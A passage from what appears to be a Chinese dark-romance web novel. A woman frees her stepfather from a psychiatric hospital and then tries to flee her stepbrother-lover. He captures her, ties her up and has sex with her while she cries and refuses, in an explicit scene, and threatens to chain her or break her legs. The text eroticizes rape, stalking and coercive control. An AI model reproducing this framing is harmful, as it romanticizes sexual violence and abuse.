她做完这一切后,从厕所出来,和邵向群往楼下赶。
雪莉卡开车从精神病院的车库出来,千瑶从楼梯下来,按照既定路线往后门走,她见到了雪莉卡。
刚开到后门,车就被警卫拦住了。
雪莉卡有申请函件,“先生,我们的调研时间结束了。”
“不过真不巧,贵院今日比较忙,我们就不继续叨扰了。”
警卫通过车窗看过去,见到副驾驶的千瑶,她颔首一笑。
见到后座没有人,也没有什么异常,而后便放行了。
大雨逐渐减小,而后渐渐停了。
车缓缓停在路边,千瑶打开后备箱,让邵向群坐到后座。
“谢谢你,千千。”他激动地落泪。
车一路飞驰,雪
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莉卡还在笑,“千,刚刚真是热闹,我的演戏天赋不错。”
一会儿,雪莉卡心里又有些担忧,“不过...我们这样,会不会被发现啊。”
千瑶摇头,她都计划好了。
“大楼的警卫很松散,警报响起,医生和护士都在忙着照顾其他病人,有失误和纰漏是必然的。”
“我们有正规的申请,出入都有记录,不会怀疑我们的。”
“而那些所谓的失火,其实就是干冰制造的烟雾,触发了报警器而已。”
“他们疏散的都是东区病人,刚巧跑的西区3443我们都没见过,因为先去的是3444。”
“他们就算怀疑,也没有证据,电闸已经被我关了,没有录像。”
雪莉卡打了个响指,赞叹千瑶的计划,简直完美无瑕。
车拐入一个暗巷,这里的小区老破小,这是千瑶能找到的最隐蔽的地方了。
“雪莉卡,你什么时候回M国?”
“明天上午的飞机。”
千瑶皱眉,“我可能不能送你了。”
雪莉卡给了她一个飞吻,“什么送不送的,又不是以后见不到了。”
她挥手后,踩着油门扬长而去。
千瑶打开房门,邵向群跟在她身后,房子的灯光亮起。
“邵叔叔,您先住在这儿吧。”
邵向群看着周围的住所,像是以往他根本不会住,但现在他却感觉到很安心。
他出了医院后,觉得现在看到的一切都不真实。
他坐在沙发上,看着对面的千瑶,“千千,我就知道你一定会救我,我过够了那样的日子。”
“孩子,我要感谢你,我要谢谢你......”
邵向群捂着脸,呜咽出声。
眼泪从他的指缝间往下流,哭得泣不成声。
千瑶给他递了纸巾,“叔叔,这段时间我失忆了,现在还是没有恢复记忆。”
“能帮助到您,我很开心。”
“失忆?难怪、难怪那日你看我的眼神那么陌生。”
“为什么会这样?”
千瑶回道:“出了车祸。”
她从包里将一样东西放在桌上,递给他。
他看到桌上的红本,一时间愣住。
“我的......护照?”
千瑶点头,这是她托成侦探潜入邵家老宅拿到的。
这一次成侦探给了她半价,她是老顾客了。
他将那本证件攥在手里,眼睛宛若如狼一般地亮着光。
邵向群发狠地念道:“你哥哥做事不仁义,亲手将我送进去,养儿如虎,我真是悔不当初!”
千瑶听见他口中的字眼,“我......我哥哥?”
“您在说什么?”
她的世界观仿若在崩塌,身体浑身发软。
千瑶呼吸急促,她捂着胸口,脑袋懵得一片空白。
“邵柏修,你哥哥。他把我关进精神病院,独占了集团,害我落得今天这个地步。”
千瑶双眼失神,耳边已经听不到他在说什么了。
先前的一桩桩一件件亲密事如同幻灯片在眼前闪烁。
他叫了无数的“宝宝”,每一个日夜的缠绵。
不可能,这不可能!
邵柏修怎么会是她哥哥。
“宝宝,给我。”
“乖,张开。”
“千千说什么呢,你的记忆又出现混乱了。”
“我是你的主治医师,不会骗你的。”
“......”
千瑶捂着喉咙,胃里翻江倒海,她一阵反胃。
她冲到厕所,干呕着却没吐出东西来。
她扶着洗漱池的边缘,看着镜中的自己,双目赤红,浑身颤抖。
30. 第30张照片
千瑶不信,她不相信!
“千千,你怎么了?是不舒服吗?”
邵向群看着还在厕所的千瑶,他说完那句话后她的神色骤变。
千瑶脸色煞白,浑身发颤,她的反应太不正常了。
千瑶坐回到沙发上,她抓着掌心,指甲陷进肉里。
疼痛强迫自己镇定下来,“我没事。”
她身体略往前倾,急切问道:“邵叔叔,我们是怎么成为一家人的?”
“我想找回更多记忆。”
邵向群叹了口气,不想提及往事,犹豫再三,最终还是和她说了。
“你十一岁时,父亲已去世,你妈妈便改嫁了。”
“我丧妻多年,有幸结识了轶芸,我们就顺理成章地结婚,成为了重组家庭。”
“虽然没领证,但是办了婚礼,我们就是一家人。”
“直到你18岁,因为一些原因我和她离婚了。”
邵向群说到最后一句话时,眼神闪过一丝不自然。
他们的离婚给彼此带来了很大的变故。
“你是和邵柏修一起完成的初高中学业。”
邵向群继续道:“不过我们离婚后,轶芸带着你离开去了M国,你也在那儿读完了大学。”
千瑶垂下眼眸,敛去神情。
所以她和邵柏修相处了七年,她的记忆中一直出现一个哥哥的身影。
想到这儿,千瑶就像堕入海底,无法得到片刻喘息。
其实就是他。
一直都是他。
千瑶看着邵向群,“邵叔叔,你今后怎么打算?”
“我要去亚美尼亚,在那里我可以东山再起。”
邵向群在亚美尼亚的公司是邵柏修鞭长莫及的,那里还有他先前存放在当地银行的资金。
现在Z国完全是在邵柏修的领域,他只有出去,才会有一线生机。
当邵柏修觉察他不见后,一定会来搜寻他,现在待在这儿只能等死。
“千千,你帮帮我,算叔叔求你了。”
他一个大男人,如今沦落到要求一个姑娘为生。
这巨大的落差,让他对那个孽子又怨恨得更深。
邵向群看着眼前的女孩,她一向心软。
她能躲过邵柏修救自己出来,就一定能帮他。
“千千,你看在我多年养育你的情分上,就帮我这一回。”
“我知道这对你来说很艰难,可我真的走投无路了。”
千瑶皱眉,她想了一下,亚美尼亚对Z国免签,如今对邵叔叔来说确实是个机会。
“千千,求你了......”
他说着,就要下跪,“邵叔叔,你这是做什么!”
千瑶顿时就坐不住了,看着他的泪水,连忙扶着他的手臂让他起来,“您先别急,我想想办法。”
千瑶思来想去,这件事犹豫不得。
她知道此时此刻,邵柏修一定发现她不见了,也在找她。
让邵叔叔出国这件事,一定要快。
她到阳台,给雪莉卡打了个电话。
她记得雪莉卡会坐私人飞机,邵叔叔明日清晨就可以和她一起离开。
“OK,七点让他来机场,顺手的事。”
“好。”
千瑶将这件事告诉了邵叔叔,现在已经是凌晨五点半,他当即拿了护照,坐上出租车。
“邵叔叔,一路顺风。”
千瑶没有选择和雪莉卡坐私人飞机,本身把邵叔叔送出国就不在她的计划内。
一来飞机上有邵叔叔,两个人同时走目标太大。
二来她已经提前买好了机票,下午的航班。
千瑶侧躺在沙发上,她已经一宿没有睡了,眼皮子困得几乎睁不开。
她眯了一会儿,调好闹钟,不知不觉地就睡着了。
千瑶睡得很不安心,好几次被惊醒,醒来时心跳得特别快。
她干脆就不睡了,看了时间,如今距离登机的时间还很早。
她再次检查好证件,想提前去机场候机。
千瑶坐在出租车上,她看着窗外,心思已经飞到了九霄云外。
窗外的景物在往后飞驰,树影歪斜,阳光落在她的侧颜。
她把车窗摇下来一半,微微的暖风吹着她的脸,头发纷飞。
车在等红灯时,她看到街对面有奢侈表店。
千瑶想起之前她送给邵柏修的手表。
其实那个表的表扣断了很多次,外表虽然看着还可以,可做工真的很差。
邵柏修却一直戴着,坏了就修,也不嫌麻烦。
自从他戴上千瑶送的表后,从未再换过别的腕表,他戴了很久舍不得换下。
千瑶曾委婉地说过,让他戴回原来的手表,不然上班表扣掉了,让人看了闹笑话。
可邵柏修一脸无所谓,他说只喜欢戴她送的表。
让人笑就笑,他还笑人家没女朋友。
千瑶先前答应过邵柏修,会给他送个更好的。
她顿时心头一堵,泛起酸涩。
那是她对邵柏修的承诺。
一种无名的情绪涌上,直直地冲击着她的思绪,让本就纷乱的情绪添了烈火。
千瑶脑子一热,“师傅,到前边那个手表店停下吧。”
“不过您能等等我吗?我很快就好。”
师傅也爽快,等待期间,干脆下车抽了根烟。
千瑶进店,导购热情地迎上来。
“小姐,欢迎光临。”
“您需要什么类型的表呢?男士还是女士?我给您推荐。”
千瑶看着柜台琳琅满目的腕表,她看向导购员,“你好,是男士,商务风。”
导购员给她推荐了几款,都是最新的款式,质量上层,不过价格昂贵。
她看着这些表,仔细挑选。
最终,千瑶选择了其中一个银色的腕表。
她没有犹豫,很迅速地结完账。
千瑶付款后,她看向导购,“我想预订送上门,可以吗?”
“当然可以,我们有专人配送,您在这儿填好地址就行。”
导购员微笑地递给她一张表,千瑶填的是御萃长庭的地址。
勾选送达时间是晚上九点,在那时她的飞机也落地了。
千瑶走出店面,师傅刚好抽完烟,他靠在车旁踩灭烟头。
见到千瑶从里头出来,“完事了?”
千瑶点头,“嗯,师傅,我们走吧。”
她下车后,多给了几十块钱,算作等待她的费用。
千瑶来到机场的候机大厅,她没带行李,距离登机还有30分钟。
她看着大厅荧幕的航班信息,静静地等待。
她看着荧幕上的时间,中午12:30。
这个时间点,雪莉卡他们应该都落地亚美尼亚了。
不过雪莉卡还没有给千瑶发来消息,她微皱眉头。
也有可能雪莉卡如今转机,直接飞了M国,暂时没有给她发消息。
千瑶看着手机里的照片,那是她和邵柏修一起的合照。
山顶的落日,荧光海合影。
还有每一个生活的点滴,一张张照
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片重现当时画面。
两部手机交替使用,型号、手机壳都一样。
千瑶有时候会拿错手机,顺手拍下的照片便存在里边。
她本来不是个会记录生活的人,平常朋友圈也很少发。
邵柏修则很喜欢记录,特别是与她所共同经历的一切,他都喜欢拍下来作纪念。
千瑶苦涩一笑,再想下去没有任何意义。
一切都要结束了。
她打开短信,收件人:邵柏修。
千瑶看着空白的短信界面,她一时语塞,不知道要写什么。
一个又一个的谎言编织,从她失忆开始到现在,他每说的一句话都是假的。
邵柏修就是她的哥哥。
什么恋人,男朋友,可笑至极。
她还傻傻地信了这么久。
千瑶眼睛酸涩,眼眶红了一圈,泛着水光。
泪水不争气地往下流,一滴滴砸在手机屏幕上。
她已经没有气力去谴责他,她只想逃得远远的。
再也不想看见他。
千瑶最终只留下五个字。
——我们分手吧。
已发送。
大厅的广播响起,“乘坐航班UA868的旅客请注意,您乘坐的航班即将起飞,请您尽快前往T2办理登机手续。”
千瑶站起看着路标,她快步赶到T2。
就在她排队时,一个女人匆匆忙忙地从她身边经过。
直直地撞在千瑶的肩膀上,千瑶的手机摔在地上。
那女人拉着行李,连连道歉,“对不起对不起,赶飞机太急了。”
她着急忙慌地走了。
千瑶的手机距离自己有三米,她往前俯身去捡。
此时,一只修长的手快她一步,捡起了她的手机。
千瑶抬眼,见到那个人时整个人僵在了原地,浑身冰凉。
脸色因为震颤而变得煞白,呼吸骤然停滞。
恍若被大手遏住喉咙,逼得她窒息。
在那一瞬间,她清晰地听见自己的心跳声在加快。
她瞳孔震惊,止不住地往后退。
千瑶瞳孔中倒映着那人,他挑起笑意。
见到千瑶的表情,笑得更盛了。
“千千,游戏结束了。”邵柏修大张开手,笑容肆意。
此时的他不紧不慢地摘下眼镜,夹在领口间。衬衫领口微敞开,说话时喉结滚动。
他步步向前,逐渐靠近她。
机场的灯光照在他身上,拉出修长的影子。
“邵、邵柏修,怎么是你。”千瑶在那刻慌了神。
机场的广播再一次播放,她的航班即将起飞。
千瑶二话不说拔腿就往登机口跑,邵柏修慢条斯理地迈着步子,看着她跑。
在千瑶动身的那一刻,比她更快的是邵柏修身后的保镖。
他们挡在她面前,根本闯不过去,她拽着保镖的手臂,根本撼动不了半分。
“小姐,请您回去。”
他们就像人机,只会重复这一句话。
邵柏修双手环胸,指尖在手肘上有规律地轻点,微微挑起眉梢。
直到最后一刻,停止登机的显示在荧幕上亮起。
她眼中燃起的希望瞬间破灭。
千瑶拽着他们的力道也渐渐轻了,泪水滑过脸颊。
眼泪被风吹得冰凉,咸涩。
她失去力气,跪坐在地上,看着他一步步地接近。
“千千,从什么时候开始的?”
身后的声音响起,薄凉寡淡。
31. 第31张照片
地面冰凉刺骨,硌着膝盖,千瑶的心已然跌倒了谷底。
荧幕的航班状态红得刺眼,她已经没可能离开了。
千瑶彻底崩溃吼道:“邵柏修,你不要再演了!”
冷风吹着她的长发风中缭乱,泪水直直滴下,滴在冰冷的地面。
邵柏修俯身向下,一把将她抗在肩上。
“你要带我去哪?!你太过分了,太过分了!”
千瑶不断捶打着他,力气宛若蜉蝣,根本撼动不了半分。
远处的机场工作人员注意到这边,一旁的邹秘书去解决。
保镖替人开了车门,邵柏修将人扔在后座,汽车发动。
“回老宅。”
千瑶被摔得脑袋发懵,黑色的真皮车座沙发下陷。
她想打开车门,却被锁上了。
她看着对面的邵柏修,他双腿交叠坐得歪斜,支着脑袋在看她。
“换手机,换银行卡,办签证,救邵向群,我以前没发现你这么能干呐,宝宝。”
邵柏修手夹着她的手机,刚刚掉在地上屏幕裂了一道痕,扔在她的沙发上。
见千瑶一脸想逃的模样,隐忍的怒火在烧,眼含薄怒。
“和我买给你的一模一样,连我都骗过了。”他嗤笑。
千瑶一言不发,红着眼眶,看着车窗外,就是不想看到他。
车开得飞快,一下车邵柏修就把人抱下来。
千瑶挣扎,他手臂的力量宛如磐石,她越挣扎,他掐着她腰的手越紧。
邵家老宅,富溪川府。
水晶长灯照亮了整个厅室,富丽堂皇的厅内人俯身,一眼不敢往这边瞟。
“全都滚。”
侍者全都离开,邵柏修一脚踹开房门,将她扔在床上。
千瑶面前的男人脸色阴沉,怒火中烧。
“想出国?”
他捏着千瑶的下颌,让她看着自己。
“要离开我?之前不是说好了,会陪着我吗?”
千瑶眼眶蓄满泪水,眼泪从眼尾流下打湿鬓发。
“因为我讨厌你。”
邵柏修骤然失神,看着她的泪水,指尖上滴了她的一滴泪。
“千瑶,你再说一遍。”
她鼻子酸涩,眼眶发红,克制不住自己颤抖的声线。
她又说了一句,“因为我......讨厌你。”
顶上灯光的光线被男人的身影遮住,他俯身向前,“所以你要和我分手?”
他拿出手机,停留在短信的界面上,他念着上面的五个字。
——我们分手吧。
邵柏修骤然笑了。
他弯起唇角,笑得眼泪都出来了。
砰——
手机砸在地上,屏幕碎得四分五裂。
千瑶被这巨大的声响吓得闭上眼睛,不由自主地往床上缩。
“就这么想走。”
邵柏修往前,一步步地走向她,他柔情地用手背抚摸着她的脸颊。
“宝宝,你又要丢下我,看不到你我好难过。”
千瑶视线瞥见敞开的门口,她猛地一推邵柏修,就往门口跑。
然而就在即将靠近门口时,腰被大手轻松揽住,单手将她仍在床上。
门骤然被关闭,反锁。
千瑶手撑着身后的床,看着眼前的男人。
方才还温柔的眉眼霎时冷了下来,情绪变化极其快,笑容却是阴森可怖。
邵柏修直直地注视着她,眼中的怒火烧得他的心在滴血。
他扯下领带,露出喉结线条。不疾不徐,步步往她走来。
“你别过来!”
千瑶往后退,她眼中满是惊恐,“邵柏修,你不能这样。”
她准备往床下跑,却被拽住脚腕,一把将她拉至身下。
千瑶捶着他的胸膛,踹他用尽了浑身力气。
她抓住邵柏修的手臂,手臂青筋暴起,用力地一口咬了下去。
邵柏修喉咙间溢出闷哼,她牙齿发狠般地咬着,他却并未因此放开。
“真是兔子急了,也会咬人。”
邵柏修抚摸着她的脸,撩开她的头发,手臂被她咬出一个牙印,从伤口处渗出血来。
千瑶口腔全是血腥味,眼泪糊了她的眼眶。
她抬眼看着邵柏修,泪水与他的血融在一体,她哭得浑身颤抖。
“咬完了?”邵柏修挑眉。
“那到我了。”
他抓着她纤细的手腕,钳制在头顶。
领带一圈圈地捆着,霎时白皙的手腕多了几圈红痕。
千瑶双手被束缚,她察觉到了他的意图,脑袋短暂地空白。
她紧紧地盯着面前的男人,她的泪水滑落沾湿了枕头。
“哥,我们是兄妹。”
邵柏修的动作一顿。
他注视着她,眼神里满是浓情。
邵柏修攥着她的手腕,额头与她相抵,轻微的吐息在她的唇上。
“我都知道了,邵叔叔都告诉我了。”
“......你不能这么做,哥哥。”
千瑶试图在他的眼中找到残存的理智,以为这样就能让他停下来。
可是邵柏修的状态更加令人困惑。
他笑了。
邵柏修笑得肆意张狂,手指摩挲着她的脖颈,而后下滑至她的领口。
动作缓慢,一点点地慢慢解开她的扣子。
邵柏修注视着她,在她耳边轻声道:“再叫一声?”
千瑶见他全然没有停下来的意思,他看起来更加兴奋。
他的膝盖顶进她的腿间,压着她无法动弹。
邵柏修的灼热气息喷薄在她的耳侧,粗重的喘息着。
千瑶哭得急了,“我们这是背德,你放开我。”
“放开我......”
邵柏修在她的上方,注视着她的泪眼朦胧,指尖擦过她的眼尾。
他尝了泪滴,放进口中。
是咸的。
千瑶看着他的动作,怔愣住。
“反正又不是亲的。”邵柏修挑起恶劣的笑。
他抚摸着她的小腹,冰凉的指尖点在上边,“我们会生很多健康的宝宝。”
“唔——”
她肩头的衣物一扯就破,漏出光滑的肩膀。
在嫩白的肌肤上覆盖上一道齿痕,她被咬得发颤。
千瑶哭着踹他,却被膝盖压着渐渐没了力气。
吻铺天盖地地袭来,他不停地向她索取。
她呜咽地推着,可他的攻势掠夺着她的气息,不可遏制地逼着她。
“张开。”
他的吻咬着她的唇瓣,疼痛让她被迫张开嘴。
舌尖掠过上颚,津液混杂着她的泪水,缓缓地滴在枕套上。
千瑶的衣服被卷起,腰肢的柔软被大手掐着,指尖划过她的腰线。
千瑶蹙起眉头,垂下眼眸,她轻微地喘息。
“我们已经分手了,我们不可能了,不可能了......”
“分手?可我没同意。”邵柏修注视着她,扬起眉梢。
邵柏修看着她敞开的领口,弯
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起唇角。
视线流连间,在她耳边说道:“宝宝,变大了。”
“揉大的吗?”
千瑶的肩带滑落,他更加肆无忌惮。
她隐忍着呜咽,他的动作不停,揉得她的双眼涣散,耳朵都泛着粉红。
她抓不到任何的支点,弓起美丽的身躯。
她就像随波逐流的叶,经不起汹涌而来的波涛。
千瑶被搅弄得凌乱,她的理智在一寸寸地崩溃。
她的下颌被掐着,让她承受住这个吻。
“宝宝,睁开眼睛,都做过这么多回了,为什么不敢看?”
邵柏修弯着笑,唇边带着刚刚接吻的水光。
她的脸颊红润,视线之下,他手臂的肌肉线条流畅,抚摸着她柔嫩的肌肤。
“我帮你......舒服吗?”邵柏修故意问。
“不......”
她几乎说不出完整的话。
“怎么不叫哥哥?”
邵柏修脱下衬衫,漏出完美的肌肉曲线。
背肌宽阔,腹肌的线条清晰可见。
他下垂的手压在她的耳侧,揉着她的腰,有规律地揉捏着。
千瑶的眼神涣散,透着窗边反射的光,璀璨的灯火衬着她美丽的身躯。
恍然之间,突如其来的疼痛让她溢出呻.吟。
她侧脸埋在枕头里,泪水不停流淌。
床摇出咯吱声,床褥在下陷。
千瑶强迫自己不要发出声音,下颌被掐着与他接吻。
浑身仿若被撕裂成两半,她所以为的温柔全是邵柏修想给她看到的模样。
他这个人卑劣至极。
“叫哥哥,我想听。”
邵柏修挑起笑意。
擦着她的唇,按压在上边。
他手握着她的脚踝,让她缠着自己。
千瑶的额头发汗,唇边的发丝进入她的齿间,咬着头发。
她大脑一片空白,浑身宛若火烧。
他的体温在升温,贴着她的脸,下颌的汗水滴在她的鼻尖。
他色气的眼神注视着她,摸着她柔软的肚皮。
“给我生宝宝,千千。”
“......你闭嘴。”
邵柏修咬上她的脖颈,疼得她倒吸一口凉气。
千瑶瞬间流出生理盐水,眼尾红红的,被欺负狠了。
“全都满了。”
他在低吟。
“宝宝,以后还敢跑吗?”
他温柔地抚摸着她的眉眼,一点点地吻在上面。
“想把你加上锁链,让你之后只能看我,只属于我,哪儿也去不了。”
“还是把你的腿打断,现在的技术特别好,你不会感到痛苦的,宝宝。”
千瑶到他眼底的认真,真的在思考这件事。
他环抱着千瑶的腰,含上她的耳垂,耳鬓厮磨。
邵柏修褪下温柔后,与先前判若两人。
他温柔的话语在诉说着残忍的事,一切都在他的口中云淡风轻。
“你选哪一个?千千。”
邵柏修舔舐着她的唇角,“说话。”
千瑶默默地啜泣,她不想和邵柏修说话。
她讨厌他。
邵柏修看着身下的人儿哭得一颤一颤。
“宝宝,见到你离开的时候,我也是像你这样难受。”
他的手指抚摸着她的膝盖,小腿在光线下照得雪白。
“多美的腿,如果断了,我会养你一辈子的。”
“宝宝,你选第二个吧。”
32. 第32张照片
“邵柏修,你一直在骗我。”
她手臂覆在眼睛上,遮住头顶的光线,泪水从她的手臂一侧滑下。
千瑶的心里一阵绞痛,碎成冰碴扎进血肉里。
她曾经以为的完美恋人,都是针对她的骗局。
她看向邵柏修,一字一句道:“在御萃长庭里的照片,我身旁的人真的是你吗?”
“其实是景喻哲吧。”
千瑶自嘲一笑,她现在才明白他所谓的爱,如此的虚假。
“手机里的监控定位,是你安装的。你也从未放心过我,每次出门你都让人监视我。”
邵柏修抚摸着她的发顶,“千千很聪明。”
他吻着她的唇,手指陷入她的头发中,挑起一抹头发,嗅着她发丝的清香。
邵柏修毫不介意她的揭穿,甚至还有点期待她的反应。
“你操纵了网络,让我只能看到你想让我看到的东西,就像《楚门的世界》,你怕我看这类的电影,对你起疑心。”
“吊桥效应,我看过你的批注了。”
邵柏修摸着着她的手臂,往上的指尖触及手腕。
他解开了束缚她手腕的领带。
“你太可怕了!”
啪——
邵柏修被打得瞥过脸,右边脸迅速泛起红痕。
千瑶看着他愣神,手还停留在半空中。
就在这短暂的沉默之间,邵柏修转过头注视着千瑶。
那种眼神令千瑶害怕,他双目赤红,眼眸的灼热与癫狂让他整个人颤抖。
他的眼神紧紧盯着她,就像锁定了猎物。
他勾起唇角,扬起笑容。
邵柏修抓住了千瑶的手腕,她挣脱不开。
“再打用力一点,宝宝。”
他连带着她的手,让千瑶扇他。
“邵柏修,你这个疯子。”
千瑶看着眼前这个人陌生,他克制不住地兴奋。
倏然她的膝盖被顶开,精壮地身躯倾覆而下。
千瑶脑袋一阵空白,她的手抓被单。
“唔,,,,,,”
被单褶皱,指尖泛白。
“出去。”
“抓我,宝宝。”
邵柏修哑着嗓音,拉过她的手,让她的指甲划在自己的身上。
没过一瞬,他的身上满是指甲划痕,千瑶被撞得涣散。
她想要逃离,却被他再次抓住手腕。
邵柏修让她掐着喉结,他被掐就笑得更盛。
手指掐着脖颈时,她能感受到滚烫的血液在肌肤下流淌。
千瑶看着他□□,脸色红得吓人,脖颈几乎被掐得喘不过气。
她随即放手,“我不要这样,呜...哥。”
她差一点就把人掐死,她被他现在的模样吓到。
邵柏修抚摸着她的脊背,将她从床上捞起来。
她浑身无力地被人抱在怀中,脑袋搭在他的颈侧。
邵柏修的大手抚摸着她的后颈,穿过她的发丝。
把她的手放在自己的动脉上。
“乖,往这里咬。”
“我不要......”
千瑶带着啜泣的哭腔,他吻着她的泪水。
又陷入了沉沦。
-
千瑶睡得不安分,她在梦里一直在跑。
她扭头,身后是对她微笑的邵柏修。
千瑶被吓醒了。
她坐在床上,浑身湿漉漉的。
她身上被换上了一件白色的睡衣,身边的人已经走了。
天光乍破,暖暖的光线洒在她身上。
千瑶站起来,从窗台往下方看,几名佣人在修剪花草。
她从下身传来一阵撕裂的疼,她每走一步路都是疼痛。
千瑶还没好好地打量这个地方,她从卧室里出来。
这个地方富丽堂皇,就像一个宫殿的内庭建筑。
一楼是会客厅,灰色宽敞的沙发铺陈,顶上是吊顶水晶灯。
一种熟悉感涌上脑海,强烈的既视感冲击着她。
千瑶下楼,熟悉的面孔迎上前,她挂着温柔的微笑,“小姐。”
“王妈?”
“小姐,我是这儿的管家,您想吃点什么?”
千瑶看着她,“邵柏修呢?”
“先生他去公司了,您要找他吗?我给您联系。”
千瑶摇头,她现在一点也不想见他。
她什么东西都吃不下,她拒绝了王妈的好意。
千瑶看着周围,没有多少人。
正好现在邵柏修不在,她也可以趁机离开。
她的证件都被邵柏修收走了,她无法出国。
即便如此,只要能离开这里,去什么地方都是一样的。
千瑶走出门,她趁着花园里的人埋头工作,快步出客厅。
她穿过花园走廊,期间没有人注意到她。
她来到大门前,不知从何处出来的保镖直接挡在她面前。
大门之外,也有好几名西装保镖候着。
“小姐,请您回去。”
“让开。”
“小姐,请您回去。”
他们只会说这一句话,没有任何情绪。
千瑶忍着怒火,硬闯是不可能了。
这个地方很大,她试图找到一丝突破口,可是各个角落都遍布了摄像头。
一种颓然的无力感冲击着她。
此时忙碌的修剪师傅也离开了,草地上的花草被修剪得整整齐齐。
而就是这一幕,从这个视角看去,花园和梦中的一模一样。
眼前逐渐浮现出一个画面,那个冷峻的少年注视着她。
雨水滴在他的眉骨,看人的眼神宛如一件死物。
“滚。”
被吓哭的千瑶不敢靠近他,她的布娃娃已经被扔进了坑里。
“哥哥,你好凶啊呜呜呜。”
邵柏修让她滚,她还是待在原地,自顾自地擦着眼泪。
可是越擦越多,千瑶又害怕又难受。
雨砸在她身上,湿了她的襦裙,泥土飞溅到她的裙尾。
现在和他一样脏脏的了。
“我看到你在埋兔子,我也来帮你。”千瑶忍着哭腔。
邵柏修俯视她,只觉得她好笑。
凭空多了个陌生妹妹,就是爱管闲事。
邵柏修盯着她,铲子搭在她的脖颈旁边,“我现在心情很不好,再不滚,我让你去陪它。”
千瑶低声啜泣,她终于有动作了。
只不过不是回房间的方向,而是缓慢地站起来往那个兔子坑里走。
她蹲在坑的边缘,默默地埋土。
她很害怕,兔子还睁着眼睛,血淋淋的。
千瑶手里抓着湿润的泥土,她手里没有铲子,铲子在哥哥手上。
邵柏修盯着那爱哭鬼,一边哭一边埋着兔子。
“喂,你做什么?”邵柏修心生烦躁。
她睁着湿漉漉的眼神,望向他,“埋兔子。”
“让它回家,就像我爸爸一样。”
邵柏修微低垂着头,看不清他此刻的神情。
冰凉的雨打在脸上,他往这边走来。
千瑶低头抓着泥土,半眯着眼,不敢看那坑里一眼。
兔子被开膛破肚,她忍着恐惧将土埋在上面。
她的布娃娃就当是陪伴它,让它不要孤单。
铲子被仍在她的手边,千瑶看着突然出现的工具,她抬眼看向哥哥。
他一眼不发,和她一起堆好小土堆。
他们堆好的时候,天也放晴了。
千瑶脸上也脏脏的,白色的衣裙沾
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着青草沫。
“小不点,你叫什么名字。”
“哥哥,昨天见面的时候我就说过了,我叫千瑶,这回你可要记住了。”
邵柏修看着她,挑起笑意,“哦,那你和你妈能不能滚出邵家。”
那种视线,冷得让人让人畏惧。
冷风的吹拂让坐在椅子上的千瑶回神。
她往记忆中的方向走去,走到花园右侧靠近栅栏的方向。
这里是花园的一个小角落,那里堆起了小土堆。
在土堆的边缘一米,放置了一个方形的白色木质栅栏,将它围了起来。
千瑶的记忆没有错,她和邵柏修真的给兔子堆了土堆。
忽然腰间被大手从身后揽住,熟悉的雪松香袭来。
她的颈侧搭着脑袋,低声在她耳边说道:“宝宝,你想起来了吗?”
千瑶掰开他的手,她试了一下,他的力道很大,掰不开。
她一点也不想和他接触,那熟悉的回忆一闪而过。
她转过身,与那双墨眸对视。
如今再看到邵柏修时,她甚至恍惚了。
“这里是我和你的回忆,那时你刚入邵家。”
“后面我一直没和你解释那只兔子是怎么死的,其实是被邵向群剥的皮。”
邵柏修抚摸着她的发丝,“它原本是我的宠物,但是被他杀了。”
千瑶蹙起眉头,不相信他说的话。
一个成年人,何至于与兔子置气。
“哦对了,说到他,他和雪莉卡在登机前几分钟就被扣下了。”
千瑶手心发汗,心里猛地一揪。
她猛地看向邵柏修,抓着他的手臂,“他们人呢?”
难怪她当时没有收到消息,原来早就被邵柏修抓住了。
“你放心,他们很好。”
“雪莉卡自然是回M国了,她的实验室出现问题,早就离开Z国了。”
“不过你也别指望她能来救你,她如今都自顾不暇。”
“我不介意再给她多几个麻烦,毕竟实验室再死participants,在M国也不是什么大事。”
千瑶听到这儿,被他几句话压得喘不过气,雪莉卡还是因为她的事被连累了。
雪莉卡走了也好,至少不会让她再为自己挂心。
邵柏修在用实验室的事情威胁她,千瑶知道实验室就是雪莉卡的心血。
愧疚如潮水翻涌,千瑶心里难受。
雪莉卡一直帮她却是这样的结果,她红了眼眶,泪水在眼眶里打转。
“雪莉卡是我很重要的朋友,你不要再干涉她的实验。”她正视道。
邵柏修轻蔑一笑,“这个女人还算对你有义气,实验室的事够她忙活一阵了,省得她管别人的家务事。”
“不过如果不是她,你也不会这么顺利地从我身边离开。她的事情,就是惩戒。”
邵柏修打横抱起,千瑶往里屋走。
将她抱坐在沙发上,握着她的手,揉捏她的修长手指,“乖乖的,我不会动她。”
“邵叔叔呢?你把他怎么样了?”
提到这件事,邵柏修的脸色顿时阴沉下来。
他挑起唇角,笑出了声,“一口一个邵叔叔的叫,千千你对他真有感情。”
千瑶听了邵叔叔说的那些事,邵柏修一定不会再轻易放过他。
雪莉卡回了M国,那如今邵叔叔一定在他手上。
“一个精神病患者,自然是回到原来的精神病院了。”
“邵柏修,他没有病,你为什么不能放了他。”
邵柏修仰头大笑,觉得她说了特别好笑的玩笑话。
千瑶见他一直在笑,笑得颤抖。
“邵向群跟你说了什么?你信了?”
邵柏修笑得不行,“宝宝,你太单纯了。”
33. 第33张照片
“你什么意思?”
千瑶不理解他一直在笑,他在嘲笑她的天真。
“有谁告诉过你,他不是精神病的?你有证据吗?”
千瑶心下一沉,确实没有。
她下意识地认为他没有病,还是出自那个血纸,还有邵向群口中的话。
而雪莉卡、成侦探,一个没有进行持续的诊断,另一个只拿到了诊断报告。
他们都无法断定邵向群是否是精神病患者,是否具有危险性。
邵柏修让身后人拿出那份文件,他放在千瑶手里。
“这份是报告原件,你可以看看。”
千瑶接过来,看了一眼。
上边的记录和成侦探给她的一模一样,没有任何问题,都是显示边缘型人格障碍的诊断结果。
她手中被塞了一个物件,点开是一个视频。
视频中显示的就是邵向群本人,他因为工作纠纷,斥责下属。
最后演变到直接上手,掐了那位女秘书。
女秘书奄奄一息,周围人连忙送医。
“我没有骗你,千千。”
千瑶攥着手机,盯着邵向群的举动,确实是突然情绪失控,差点杀人。
“他跟你说他没病?一个精神病患者的话,不可信。”
邵柏修拿走那份资料,扔给邹秘书。
千瑶现在有点凌乱,脑海中不断闪回邵叔叔同她说的话,邵柏修是个心机深沉的人。
不然他不会凭借这件事,直接夺走了集团的权力。
邵柏修看着她,见她蹙着眉头在想什么。
“宝宝,我是把他送进去了没错,因为这件事已经成为了集团的污点。”
“新闻满天飞,我必须要做出决断。”
“诊断报告是几名医生联合诊断的,把他送进去,没有什么问题。”
千瑶内心在挣扎,她此刻很混乱。
不知道该相信谁的话。
“千千,报告和视频就在眼前,你宁愿相信他的话吗?”邵柏修斜靠在沙发上,支着脑袋。
